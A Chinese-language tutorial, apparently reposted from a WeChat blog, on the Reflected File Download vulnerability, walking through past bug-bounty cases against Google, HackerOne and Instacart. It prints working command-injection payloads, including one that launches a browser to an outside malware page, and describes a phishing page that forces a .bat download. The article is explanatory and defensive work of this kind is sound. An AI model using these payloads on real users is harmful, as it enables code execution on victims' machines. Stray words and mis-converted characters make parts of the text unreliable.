一、概念html
RFD,即Reflected File Download反射型文件下載漏洞,是一個2014年來自BlackHat的漏洞。這個漏洞在原理上相似XSS,在危害上相似DDE:攻擊者能夠經過一個URL地址使用戶下載一個惡意文件,從而危害用戶的終端PC。chrome
這個漏洞很罕見,大多數公司會認爲它是一個須要結合社工的低危漏洞,但微軟,雅虎,eBay,PayPal和其餘許多公司認爲這是一箇中危漏洞。json
二、漏洞原理api
先從一個實例理解RFD漏洞,如Google搜索的返回包是json格式:服務器
可見咱們的輸入在返回包處反射輸出,若是輸入payload」||calc||,返回:微信
到這仍沒什麼問題,但若是咱們嘗試在命令行裏運行這個回顯內容,如xss
{"result":["q","rfd"||calc||","jayway"]}google
發如今顯示「文件名或目錄不存在」的同時,會執行咱們的管道符後的命令calc,彈出計算器。解析過程實際爲:spa
因此和DDE的攻擊方法相似,咱們最終要是讓回顯內容做爲一個bat文件下載,這能夠經過分號;或結合社會工程的方式實現:.net
注:URL中分號;是個保留字符,相似鏈接符,現已廢除。
3、漏洞挖掘
根據漏洞觸發的三個條件挖掘漏洞:
1)輸入反射:用戶輸入被「反射」到響應內容。
2)文件名可控: URL容許並接受用戶的其餘輸入,攻擊者將其用於將文件擴展名設置爲可執行擴展名。
3)下載:響應被做爲文件裏的內容進行下載,這裏能夠控制Content-Type或者在本身的服務器上建立一個HTML文件,設置download屬性,誘導點擊下載。
4、實戰案例:
1) Google
這是Oren Hafif在google利用的例子。在facebook中插入的一個google超連接,以下形式內容:
https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….點擊後會下載一個bat文件到本地,下載後直接運行效果以下:
成功執行了一個shutdown命令,先用了一個雙引號閉合掉前面的不可控的雙引號,而後利用||符號(命令行中||表示邏輯「或」)保證命令成功執行。
2) Hackerone
在編輯字段中輸入text"|| calc ||:
保存,回到編輯543數據edit頁面:
保留參數543,刪除/edit,追加點.發現獲得json回顯,這裏加上.bat:
因爲由於這個連接返回json值而不是下載,因此這裏能夠在本身的服務器構造一個釣魚html文件,設置爲download屬性,自動下載bat文件:
用戶點擊文件,由於連接來自可信地址,因此容易中招:
3) Instacart
關注json返回包,請求
https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1
發現term參數回顯:
{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}
將term參數設爲:
"||start chrome davidsopas.com/poc/malware.htm||
建立html文件誘導下載:
當前,業界對RFD這個漏洞看法不一,危害上可能接近於self-xss,但結合社工等手段尤爲在社交場合能形成的危害仍是能夠很大的,原PDF可閱讀原文。
本文分享自微信公衆號 - 卓文見識(zhuowenjianshi)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。